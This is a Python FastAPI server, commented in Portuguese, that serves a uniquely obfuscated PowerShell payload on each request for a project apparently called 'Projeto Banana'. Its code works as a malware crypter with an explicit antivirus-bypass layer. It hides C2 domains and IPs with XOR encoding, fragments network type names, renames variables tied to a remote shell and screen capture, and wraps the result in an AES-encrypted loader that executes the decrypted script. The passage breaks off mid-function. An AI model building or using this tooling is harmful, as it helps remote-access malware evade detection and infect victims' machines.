#!/usr/bin/env python3
"""
                              ║
║  Cada resposta é ÚNICA (polimórfica)                                         ║
╚══════════════════════════════════════════════════════════════════════════════╝

INSTALAÇÃO:
    pip3 install fastapi uvicorn --break-system-packages

EXECUTAR:
    python3 servidor_proteger_completo.py

TESTAR:
    curl http://localhost:8888/proteger
"""

import os
import sys
import time
import random
import string
import re
import base64
import zlib
import hashlib
import threading
import multiprocessing
from pathlib import Path
from datetime import datetime
from typing import Optional, Tuple, Dict
from concurrent.futures import ProcessPoolExecutor
import copy

# ═══════════════════════════════════════════════════════════════════════════════
# VERIFICAR BIBLIOTECA CRYPTOGRAPHY (AES RÁPIDO)
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    CRYPTO_FAST = True
except ImportError:
    CRYPTO_FAST = False

# ═══════════════════════════════════════════════════════════════════════════════
# CONFIGURAÇÃO
# ═══════════════════════════════════════════════════════════════════════════════

SERVER_CONFIG = {
    'host': '0.0.0.0',
    'port': 8888,
    'workers': 4,  # Número de processos paralelos
    'base_dir': '/var/www/html',
    'source_file': 'msedge.txt',
    'log_requests': True,
}

# Configuração do motor de proteção (igual ao seu proteger.py)
CONFIG = {
    'enable_bypass': True,
    'enable_string_encrypt': True,
    'enable_var_rename': True,
    'enable_func_rename': True,
    'enable_type_obfuscation': True,
    'enable_comment_removal': True,
    'enable_number_obfuscation': True,
    'enable_path_obfuscation': False,
    'enable_junk_code': False,
    'enable_final_compress': False,
    'enable_xor_strings': True,
    'enable_disk_encrypt': False,
    'junk_code_density': 15,
}

PROJECT_CONFIG = {
    'sensitive_ips': [],
    'sensitive_domains': [],
    'sensitive_strings': [],
    'server_port': 0,
}


# ═══════════════════════════════════════════════════════════════════════════════
# UTILITÁRIOS (COPIADOS DO SEU proteger.py ORIGINAL)
# ═══════════════════════════════════════════════════════════════════════════════

def random_name(length: int = 6, prefix: str = '') -> str:
    chars = string.ascii_letters
    name = ''.join(random.choice(chars) for _ in range(length))
    return prefix + name

def random_var() -> str:
    return '$' + random_name(random.randint(5, 8))

def b64_encode_ps(value: str) -> str:
    b64 = base64.b64encode(value.encode('utf-16-le')).decode()
    return f"([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{b64}')))"

def xor_encode_ps(value: str) -> str:
    key = random.randint(1, 254)
    encoded = ','.join(str(ord(c) ^ key) for c in value)
    return f"(-join([byte[]]@({encoded})|%{{[char]($_-bxor{key})}}))"

def split_string(s: str, min_parts: int = 2, max_parts: int = 4) -> str:
    if len(s) < 4:
        return f'"{s}"'
    num_parts = min(random.randint(min_parts, max_parts), len(s))
    part_len = len(s) // num_parts
    parts = []
    for i in range(num_parts):
        start = i * part_len
        end = start + part_len if i < num_parts - 1 else len(s)
        parts.append(f'"{s[start:end]}"')
    return '(' + ' + '.join(parts) + ')'

def generate_junk_code() -> str:
    junk_templates = [
        lambda: f'{random_var()} = {random.randint(1, 9999)}',
        lambda: f'{random_var()} = "{random_name(12)}"',
        lambda: f'if ($false) {{ {random_var()} = "{random_name(8)}" }}',
        lambda: f'while ($false) {{ break }}',
        lambda: f'try {{ {random_var()} = $null }} catch {{ }}',
        lambda: f'[void]([Math]::Sqrt({random.randint(1, 999)}))',
        lambda: f'$null = [Environment]::TickCount',
    ]
    return random.choice(junk_templates)()


# ═══════════════════════════════════════════════════════════════════════════════
# DETECÇÃO DE VALORES SENSÍVEIS
# ═══════════════════════════════════════════════════════════════════════════════

def detect_sensitive_values(code: str, project_config: dict) -> str:
    # Detectar FallbackIP
    ip_patterns = [r'FallbackIP\s*=\s*"([^"]+)"', r'FallbackIP\s*=\s*\'([^\']+)\'']
    for pattern in ip_patterns:
        match = re.search(pattern, code)
        if match:
            ip = match.group(1)
            if ip and ip not in project_config['sensitive_ips']:
                project_config['sensitive_ips'].append(ip)
    
    # Detectar $script:Server
    server_patterns = [r'\$script:Server\s*=\s*"([^"]+)"', r'\$Server\s*=\s*"([^"]+)"']
    for pattern in server_patterns:
        matches = re.findall(pattern, code)
        for domain in matches:
            if domain and domain not in project_config['sensitive_domains']:
                if not domain.startswith('$'):
                    project_config['sensitive_domains'].append(domain)
    
    # Detectar PrimaryDomain
    domain_match = re.search(r'PrimaryDomain\s*=\s*"([^"]+)"', code)
    if domain_match:
        domain = domain_match.group(1)
        if domain and domain not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(domain)
    
    # Detectar porta
    port_patterns = [r'\$script:Port\s*=\s*(\d+)', r'\$Port\s*=\s*(\d+)', r'\[int\]\$Port\s*=\s*(\d+)']
    for pattern in port_patterns:
        match = re.search(pattern, code)
        if match:
            try:
                project_config['server_port'] = int(match.group(1))
                break
            except:
                pass
    
    # Detectar domínios C2
    c2_match = re.search(r'\$script:C2Domains\s*=\s*@\(([^)]+)\)', code)
    if c2_match:
        domains_str = c2_match.group(1)
        domains = re.findall(r'"([^"]+)"', domains_str)
        for d in domains:
            if d and d not in project_config['sensitive_domains']:
                project_config['sensitive_domains'].append(d)
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 1: BYPASS DE ANTIVÍRUS
# ═══════════════════════════════════════════════════════════════════════════════

def apply_bypass(code: str) -> str:
    var_mappings = {
        'ScreenBounds': random_name(5, 'sb'),
        'EncoderParams': random_name(5, 'ep'),
        'JpegEncoder': random_name(5, 'je'),
        'jpegEncoder': random_name(5, 'jc'),
        'jpegCodec': random_name(5, 'cd'),
        'encoderParams': random_name(5, 'pr'),
        'MemStream': random_name(5, 'ms'),
        'PerfConfig': random_name(5, 'pc'),
        'BW': random_name(4, 'bw'),
        'SecurityConfig': random_name(5, 'sc'),
        'Monitors': random_name(5, 'mn'),
        'SelectedMonitorIndex': random_name(5, 'mi'),
        'InputTrackActive': random_name(5, 'it'),
        'AutoQREnabled': random_name(5, 'aq'),
        'ForceExit': random_name(5, 'fe'),
        'OverlayActive': random_name(5, 'oa'),
        'CropActive': random_name(5, 'ca'),
        'CropForm': random_name(5, 'cf'),
        'CropProcess': random_name(5, 'cp'),
        'ConnectionConfig': random_name(5, 'cc'),
        'InstallConfig': random_name(5, 'ic'),
        'InstallToken': random_name(5, 'tk'),
        'TokenProof': random_name(5, 'tp'),
        'AesKey': random_name(5, 'ak'),
        'DeskMode': random_name(4, 'dm'),
        'LastDesk': random_name(4, 'ld'),
        'RobustConfig': random_name(5, 'rc'),
        'RobustState': random_name(5, 'rs'),
        'UseDxgi': random_name(4, 'ud'),
        'LastDesktop': random_name(5, 'ld'),
        'BypassOK': random_name(4, 'bp'),
        'LastProtectionCheck': random_name(5, 'lp'),
        'ProtectionCheckInterval': random_name(5, 'pc'),
        'UltraConfig': random_name(5, 'uc'),
        'UltraState': random_name(5, 'us'),
    }
    
    for old, new in var_mappings.items():
        if f'$script:{old}' in code:
            code = code.replace(f'$script:{old}', f'$script:{new}')
        if f'${old}' in code and f'$script:{old}' not in code:
            code = re.sub(rf'\${re.escape(old)}\b', f'${new}', code)
    
    # Renomear funções de screenshot
    func_screenshot = f'Get-{random_name(6)}'
    func_capture_class = f'Win{random_name(5)}Helper'
    func_capture_method = f'Grab{random_name(4)}'
    
    if 'Get-Screenshot' in code:
        code = code.replace('Get-Screenshot', func_screenshot)
    if 'FastCapture' in code:
        code = code.replace('FastCapture', func_capture_class)
    if 'public static Bitmap CaptureScreen(' in code:
        code = code.replace('public static Bitmap CaptureScreen(', f'public static Bitmap {func_capture_method}(')
    if '::CaptureScreen(' in code:
        code = code.replace('::CaptureScreen(', f'::{func_capture_method}(')
    
    # GetImageEncoders -> Reflexão
    old_encoders = '[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()'
    new_encoders = '$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)'
    if old_encoders in code:
        code = code.replace(old_encoders, new_encoders)
    
    # Fragmentar strings detectáveis
    if "'image/jpeg'" in code:
        code = code.replace("'image/jpeg'", "('ima' + 'ge/jp' + 'eg')")
    if '"image/jpeg"' in code:
        code = code.replace('"image/jpeg"', '("ima" + "ge/jp" + "eg")')
    
    # Renomear namespaces C#
    namespace_renames = [
        ('NativeHide', random_name(6, 'Nh')),
        ('DPIAwareness', random_name(6, 'Dpi')),
        ('QRCodeSystem', random_name(6, 'Qr')),
        ('WinHide', random_name(5, 'Wh')),
        ('SvcHost', random_name(5, 'Sv')),
        ('DeskCapture', random_name(6, 'Dc')),
        ('DxgiCapture', random_name(6, 'Dx')),
        ('TcpKeepAlive', random_name(6, 'Tk')),
        ('ScreenBypass', random_name(6, 'Sb')),
        ('NetOptimizer', random_name(6, 'No')),
    ]
    for old_ns, new_ns in namespace_renames:
        if old_ns in code:
            code = code.replace(old_ns, new_ns)
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 2: CRIPTOGRAFIA DE STRINGS
# ═══════════════════════════════════════════════════════════════════════════════

def apply_string_encryption(code: str, project_config: dict, use_xor: bool = True) -> str:
    # Criptografar IPs
    for ip in project_config['sensitive_ips']:
        old_ip = f'"{ip}"'
        if old_ip in code:
            new_ip = xor_encode_ps(ip) if use_xor else b64_encode_ps(ip)
            code = code.replace(old_ip, new_ip)
    
    # Criptografar domínios
    for domain in project_config['sensitive_domains']:
        old_domain = f'"{domain}"'
        if old_domain in code:
            new_domain = xor_encode_ps(domain) if use_xor else b64_encode_ps(domain)
            code = code.replace(old_domain, new_domain)
    
    # Fragmentar tipos .NET
    net_types = [
        ('System.Net.Sockets.TcpClient', 'Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client'),
        ('System.IO.BinaryWriter', 'Sys"+"tem.IO.Bin"+"aryWri"+"ter'),
        ('System.IO.BinaryReader', 'Sys"+"tem.IO.Bin"+"aryRea"+"der'),
        ('System.IO.MemoryStream', 'Sys"+"tem.IO.Mem"+"oryStr"+"eam'),
        ('System.Net.NetworkInformation.Ping', 'Sys"+"tem.Net.Net"+"workInf"+"ormation.Pi"+"ng'),
        ('System.Net.Dns', 'Sys"+"tem.Net.D"+"ns'),
        ('System.Security.Cryptography.Aes', 'Sys"+"tem.Sec"+"urity.Cry"+"ptography.A"+"es'),
        ('System.Diagnostics.Process', 'Sys"+"tem.Diag"+"nostics.Pro"+"cess'),
    ]
    for old_type, new_type in net_types:
        if f'"{old_type}"' in code:
            code = code.replace(f'"{old_type}"', f'("{new_type}")')
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 3: RENOMEAÇÃO DE VARIÁVEIS
# ═══════════════════════════════════════════════════════════════════════════════

def apply_variable_rename(code: str) -> str:
    vars_to_rename = [
        'serverIP', 'serverPort', 'tcpClient', 'networkStream',
        'binaryWriter', 'binaryReader', 'machineId', 'lastPing',
        'screenCapture', 'captureThread', 'remoteShell',
        'installDir', 'scriptName', 'tokenFile', 'taskName',
        'svcName', 'isAdmin', 'isSystem', 'clientSocket',
        'commandResult', 'shellOutput', 'processInfo',
    ]
    
    for var in vars_to_rename:
        new_name = random_name(random.randint(5, 8))
        if f'${var}' in code:
            code = code.replace(f'${var}', f'${new_name}')
        if f'$script:{var}' in code:
            code = code.replace(f'$script:{var}', f'$script:{new_name}')
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 4: RENOMEAÇÃO DE FUNÇÕES
# ═══════════════════════════════════════════════════════════════════════════════

def apply_function_rename(code: str) -> str:
    func_pattern = r'function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]'
    matches = re.findall(func_pattern, code)
    
    protected_funcs = {
        'Main', 'main', 'Get-Help', 'Write-Host', 'Write-Error',
        'Write-Output', 'Write-Verbose', 'Write-Warning', 'Read-Host',
        'Start-Sleep', 'Get-Date', 'Get-Process', 'Get-Service',
        'Get-Content', 'Set-Content', 'Out-File', 'Test-Path',
        'New-Item', 'Remove-Item', 'Copy-Item', 'Move-Item',
        'Invoke-Expression', 'Invoke-Command', 'Start-Process',
        'Stop-Process', 'Get-WmiObject', 'Get-CimInstance',
        'Add-Type', 'New-Object', 'ConvertTo-Json', 'ConvertFrom-Json',
        'Get-ChildItem', 'Get-ItemProperty', 'Set-ItemProperty',
        'Get-Random', 'Get-NetAdapter', 'Get-NetIPAddress',
        'Get-ScheduledTask', 'Register-ScheduledTask',
        'Unregister-ScheduledTask', 'Start-Job', 'Stop-Job',
    }
    
    user_funcs = [f for f in set(matches) if f not in protected_funcs]
    func_map = {}
    
    for func in user_funcs:
        prefixes = ['Invoke-', 'Get-', 'Set-', 'Update-', 'Start-', 'Initialize-']
        new_name = random.choice(prefixes) + random_name(6)
        func_map[func] = new_name
    
    for func in sorted(func_map.keys(), key=len, reverse=True):
        new_name = func_map[func]
        code = re.sub(rf'function\s+{re.escape(func)}\s*([{{\(])', f'function {new_name} \\1', code)
        code = re.sub(rf'(?<!["\'-])\b{re.escape(func)}\b(?!["\'-])', new_name, code)
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 5: OFUSCAÇÃO DE TIPOS .NET
# ═══════════════════════════════════════════════════════════════════════════════

def apply_type_obfuscation(code: str) -> str:
    namespace_mappings = [
        ('-AssemblyName System.Drawing', '-AssemblyName ("Sys"+"tem.Dra"+"wing")'),
        ('-AssemblyName System.Windows.Forms', '-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")'),
    ]
    for old_ns, new_ns in namespace_mappings:
        if old_ns in code:
            code = code.replace(old_ns, new_ns)
    
    newobj_patterns = [
        ('New-Object System.Net.Sockets.TcpClient', 'New-Object ("Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client")'),
        ('New-Object System.IO.MemoryStream', 'New-Object ("Sys"+"tem.IO.Mem"+"oryStr"+"eam")'),
        ('New-Object System.IO.BinaryWriter', 'New-Object ("Sys"+"tem.IO.Bin"+"aryWri"+"ter")'),
        ('New-Object System.IO.BinaryReader', 'New-Object ("Sys"+"tem.IO.Bin"+"aryRea"+"der")'),
        ('New-Object System.Net.WebClient', 'New-Object ("Sys"+"tem.Net.Web"+"Client")'),
    ]
    for old_obj, new_obj in newobj_patterns:
        if old_obj in code:
            code = code.replace(old_obj, new_obj)
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 6: REMOÇÃO DE COMENTÁRIOS
# ═══════════════════════════════════════════════════════════════════════════════

def apply_comment_removal(code: str) -> str:
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    in_block_comment = False
    
    for line in lines:
        stripped = line.strip()
        
        if "@'" in stripped or '@"' in stripped:
            in_herestring = True
        if "'@" in stripped or '"@' in stripped:
            in_herestring = False
            new_lines.append(line)
            continue
        
        if '<#' in stripped and not in_herestring:
            in_block_comment = True
        if '#>' in stripped and not in_herestring:
            in_block_comment = False
            continue
        
        if in_block_comment:
            continue
        
        if in_herestring:
            new_lines.append(line)
            continue
        
        if stripped.startswith('#') and not stripped.startswith('#>'):
            if stripped.lower().startswith('#region') or stripped.lower().startswith('#endregion'):
                new_lines.append(line)
            continue
        
        if '#' in line and not in_herestring:
            in_string = False
            quote_char = None
            new_line = []
            i = 0
            while i < len(line):
                c = line[i]
                if c in '"\'':
                    if not in_string:
                        in_string = True
                        quote_char = c
                    elif c == quote_char:
                        in_string = False
                elif c == '#' and not in_string:
                    break
                new_line.append(c)
                i += 1
            line = ''.join(new_line).rstrip()
        
        new_lines.append(line)
    
    return '\n'.join(new_lines)


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 7: OFUSCAÇÃO DE NÚMEROS
# ═══════════════════════════════════════════════════════════════════════════════

def apply_number_obfuscation(code: str) -> str:
    numbers_to_obfuscate = [
        (51888, '(50000+1888)'),
        (10000, '(5000+5000)'),
        (8192, '(8000+192)'),
        (8080, '(8000+80)'),
        (5555, '(5000+555)'),
        (5000, '(2500+2500)'),
        (4444, '(4000+444)'),
        (4096, '(4000+96)'),
        (1024, '(1000+24)'),
        (1000, '(500+500)'),
        (443, '(400+43)'),
        (80, '(40+40)'),
    ]
    
    for num, replacement in numbers_to_obfuscate:
        pattern = rf'(=\s*){num}(?!\d)'
        if re.search(pattern, code):
            code = re.sub(pattern, rf'\g<1>{replacement}', code)
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 8: CÓDIGO MORTO (JUNK CODE)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_junk_code(code: str, density: int = 15) -> str:
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    protected_lines = set()
    
    for i, line in enumerate(lines):
        stripped = line.strip()
        if "@'" in stripped or '@"' in stripped:
            in_herestring = True
        if in_herestring:
            protected_lines.add(i)
            if "'@" in stripped or '"@' in stripped:
                in_herestring = False
    
    insert_points = []
    for i, line in enumerate(lines):
        if i in protected_lines:
            continue
        stripped = line.strip()
        if stripped.endswith('{') or stripped.startswith('function ') or stripped == '':
            if i > 0 and random.random() < 0.3:
                if (i + 1) not in protected_lines:
                    insert_points.append(i)
    
    insert_points = random.sample(insert_points, min(len(insert_points), density))
    
    for i, line in enumerate(lines):
        new_lines.append(line)
        if i in insert_points:
            for _ in range(random.randint(1, 3)):
                indent = len(line) - len(line.lstrip())
                junk = generate_junk_code()
                new_lines.append(' ' * indent + junk)
    
    return '\n'.join(new_lines)


# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 9: CRIPTOGRAFIA EM DISCO (AES-256)
# ═══════════════════════════════════════════════════════════════════════════════

def aes_encrypt_cbc(data: bytes, key: bytes, iv: bytes) -> bytes:
    """
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponível (100x mais rápido)
    Fallback para implementação pura Python se não tiver
    """
    
    if CRYPTO_FAST:
        # VERSÃO RÁPIDA - usa biblioteca cryptography
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()
    
    # VERSÃO PURA PYTHON (fallback lento)
    SBOX = [
        0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
        0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
        0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
        0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
        0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
        0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
        0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
        0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
        0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
        0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
        0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
        0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
        0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
        0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
        0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
        0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
    ]
    RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
    
    def xtime(a):
        return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
    
    def mix_single_column(a):
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)
        return a
    
    def key_expansion(key):
        key_schedule = list(key)
        for i in range(8, 60):
            temp = key_schedule[(i-1)*4:(i)*4]
            if i % 8 == 0:
                temp = temp[1:] + temp[:1]
                temp = [SBOX[b] for b in temp]
                temp[0] ^= RCON[i//8 - 1]
            elif i % 8 == 4:
                temp = [SBOX[b] for b in temp]
            key_schedule.extend([key_schedule[(i-8)*4 + j] ^ temp[j] for j in range(4)])
        return key_schedule
    
    def add_round_key(state, key_schedule, round):
        for i in range(16):
            state[i] ^= key_schedule[round*16 + i]
        return state
    
    def sub_bytes(state):
        return [SBOX[b] for b in state]
    
    def shift_rows(state):
        return [
            state[0], state[5], state[10], state[15],
            state[4], state[9], state[14], state[3],
            state[8], state[13], state[2], state[7],
            state[12], state[1], state[6], state[11]
        ]
    
    def mix_columns(state):
        for i in range(4):
            col = state[i*4:(i+1)*4]
            col = mix_single_column(col)
            state[i*4:(i+1)*4] = col
        return state
    
    def encrypt_block(block, key_schedule):
        state = list(block)
        state = add_round_key(state, key_schedule, 0)
        for round in range(1, 14):
            state = sub_bytes(state)
            state = shift_rows(state)
            state = mix_columns(state)
            state = add_round_key(state, key_schedule, round)
        state = sub_bytes(state)
        state = shift_rows(state)
        state = add_round_key(state, key_schedule, 14)
        return bytes(state)
    
    key_schedule = key_expansion(key)
    encrypted = b''
    prev_block = iv
    
    for i in range(0, len(data), 16):
        block = data[i:i+16]
        xored = bytes(a ^ b for a, b in zip(block, prev_block))
        encrypted_block = encrypt_block(xored, key_schedule)
        encrypted += encrypted_block
        prev_block = encrypted_block
    
    return encrypted


def apply_disk_encryption(code: str) -> str:
    """Criptografa o payload para ficar ilegível em disco"""
    key = os.urandom(32)
    iv = os.urandom(16)
    key_b64 = base64.b64encode(key).decode()
    iv_b64 = base64.b64encode(iv).decode()
    
    block_size = 16
    padding_len = block_size - (len(code.encode('utf-8')) % block_size)
    padded_code = code + chr(padding_len) * padding_len
    
    encrypted = aes_encrypt_cbc(padded_code.encode('utf-8'), key, iv)
    encrypted_b64 = base64.b64encode(encrypted).decode()
    encrypted_lines = [encrypted_b64[i:i+80] for i in range(0, len(encrypted_b64), 80)]
    encrypted_block = '\n'.join(encrypted_lines)
    
    v_key = random_name(6)
    v_iv = random_name(6)
    v_data = random_name(6)
    v_aes = random_name(6)
    v_dec = random_name(6)
    v_ms = random_name(6)
    v_cs = random_name(6)
    v_sr = random_name(6)
    v_plain = random_name(6)
    
    loader = f'''$ErrorActionPreference='SilentlyContinue'
${v_data}=@"
{encrypted_block}
"@
${v_key}=[Convert]::FromBase64String('{key_b64}')
${v_iv}=[Convert]::FromBase64String('{iv_b64}')
${v_aes}=[System.Security.Cryptography.Aes]::Create()
${v_aes}.Key=${v_key};${v_aes}.IV=${v_iv};${v_aes}.Mode='CBC';${v_aes}.Padding='PKCS7'
${v_dec}=${v_aes}.CreateDecryptor()
${v_ms}=[IO.MemoryStream]::new([Convert]::FromBase64String(${v_data}))
${v_cs}=[Security.Cryptography.CryptoStream]::new(${v_ms},${v_dec},'Read')
${v_sr}=[IO.StreamReader]::new(${v_cs})
${v_plain}=${v_sr}.ReadToEnd()
${v_sr}.Close();${v_cs}.Close();${v_ms}.Close();${v_aes}.Dispose()
& ([ScriptBlock]::Create(${v_plain})) @args'''
    
    return loader


# ═══════════════════════════════════════════════════════════════════════════════
# FUNÇÃO PRINCIPAL DE PROTEÇÃO (COMPLETA)
# ═══════════════════════════════════════════════════════════════════════════════

def protect_code_complete(code: str, config: dict = None) -> str:
    """
    Aplica TODAS as camadas de proteção do proteger.py original.
    Esta função é thread-safe (não usa estado global mutável).
    """
    if config is None:
        config = CONFIG.copy()
    
    # Criar cópia local do project_config para thread-safety
    project_config = {
        'sensitive_ips': [],
        'sensitive_domains': [],
        'sensitive_strings': [],
        'server_port': 0,
    }
    
    # Detectar valores sensíveis
    code = detect_sensitive_values(code, project_config)
    
    # Aplicar camadas na ordem correta
    if config.get('enable_bypass', True):
        code = apply_bypass(code)
    
    if config.get('enable_string_encrypt', True):
        use_xor = config.get('enable_xor_strings', True)
        code = apply_string_encryption(code, project_config, use_xor)
    
    if config.get('enable_var_rename', True):
        code = apply_variable_rename(code)
    
    if config.get('enable_func_rename', True):
        code = apply_function_rename(code)
    
    if config.get('enable_type_obfuscation', True):
        code = apply_type_obfuscation(code)
    
    if config.get('enable_comment_removal', True):
        code = apply_comment_removal(code)
    
    if config.get('enable_number_obfuscation', True):
        code = apply_number_obfuscation(code)
    
    if config.get('enable_junk_code', False):
        density = config.get('junk_code_density', 15)
        code = apply_junk_code(code, density)
    
    # Criptografia em disco (arquivo ilegível)
    if config.get('enable_disk_encrypt', True):
        code = apply_disk_encryption(code)
    else:
        # Header do arquivo protegido
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        unique_hash = hashlib.md5(f"{code}{random.random()}".encode()).hexdigest()[:16].upper()
        header = f'''# ═══════════════════════════════════════════════════════════════════════════════
# PROTECTED SCRIPT v4.0 - Projeto Banana (MSEDGE EDITION)
# Generated {timestamp}
# Hash: {unique_hash}
# ═══════════════════════════════════════════════════════════════════════════════

'''
        code = header + code
    
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# FUNÇÃO WORKER PARA MULTIPROCESSING
# ═══════════════════════════════════════════════════════════════════════════════

def worker_protect(base_code: str) -> str:
    """
    Função executada em processo separado.
    Recebe o código base e retorna código protegido único.
    """
    return protect_code_complete(base_code)


# ═══════════════════════════════════════════════════════════════════════════════
# SERVIDOR FASTAPI
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from fastapi import FastAPI
    from fastapi.responses import PlainTextResponse
    import uvicorn
except ImportError:
    print("ERRO: FastAPI não instalado!")
    print("Execute: pip3 install fastapi uvicorn --break-system-packages")
    sys.exit(1)

app = FastAPI(
    title="Servidor de Proteção Polimórfica COMPLETO",
    description="Motor de proteção completo com todas as 9 camadas",
    version="2.0.0"
)

# Estado global - Cache por pasta


# ═══════════════════════════════════════════════════════════════════════════════
# SISTEMA DE POOL (PRÉ-GERAÇÃO DE CÓDIGOS) - ZERO PERDA DE CLIENTES
# ═══════════════════════════════════════════════════════════════════════════════

from collections import deque
import queue

POOL_CONFIG = {
    'min_size': 100,         # 100 códigos prontos por pasta
    'max_size': 200,         # Máximo 200 códigos
    'refill_threshold': 50,  # Quando tiver menos que 50, gera mais
    'generator_threads': 4,  # 4 threads gerando em paralelo
}


class CodePool:
    """
    Pool de códigos pré-gerados.
    - Gera códigos em background
    - Cliente recebe código instantâneo
    - ZERO perda de clientes
    """
    
    def __init__(self):
        self.pools: Dict[str, deque] = {}
        self.source_cache: Dict[str, str] = {}
        self.source_mtime: Dict[str, float] = {}
        self.locks: Dict[str, threading.Lock] = {}
        self.global_lock = threading.Lock()
        self.generator_queue = queue.Queue()
        self.running = True
        self.stats = {
            'generated': 0,
            'served_from_pool': 0,
            'served_generated': 0,
            'total_requests': 0,
        }
        
        for i in range(POOL_CONFIG['generator_threads']):
            t = threading.Thread(target=self._generator_worker, daemon=True)
            t.start()
    
    def _get_lock(self, folder: str) -> threading.Lock:
        with self.global_lock:
            if folder not in self.locks:
                self.locks[folder] = threading.Lock()
            return self.locks[folder]
    
    def _load_source(self, folder: str) -> Optional[str]:
        base = SERVER_CONFIG['base_dir']
        src = SERVER_CONFIG['source_file']
        path = os.path.join(base, folder, src) if folder else os.path.join(base, src)
        
        if not os.path.exists(path):
            return None
        
        mtime = os.path.getmtime(path)
        
        if folder in self.source_cache and self.source_mtime.get(folder, 0) >= mtime:
            return self.source_cache[folder]
        
        try:
            with open(path, 'rb') as f:
                raw = f.read()
            code = raw[3:].decode('utf-8') if raw.startswith(b'\xef\xbb\xbf') else raw.decode('utf-8')
            
            self.source_cache[folder] = code
            self.source_mtime[folder] = mtime
            
            if folder in self.pools:
                with self._get_lock(folder):
                    self.pools[folder].clear()
            
            print(f"[CACHE] Carregado {folder or 'raiz'}: {len(code):,} chars")
            return code
        except Exception as e:
            print(f"[ERRO] Carregar {path}: {e}")
            return None
    
    def _generator_worker(self):
        while self.running:
            try:
                folder = self.generator_queue.get(timeout=1)
                self._generate_one(folder)
                self.generator_queue.task_done()
            except queue.Empty:
                continue
            except Exception as e:
                print(f"[ERRO] Generator: {e}")
    
    def _generate_one(self, folder: str):
        source = self._load_source(folder)
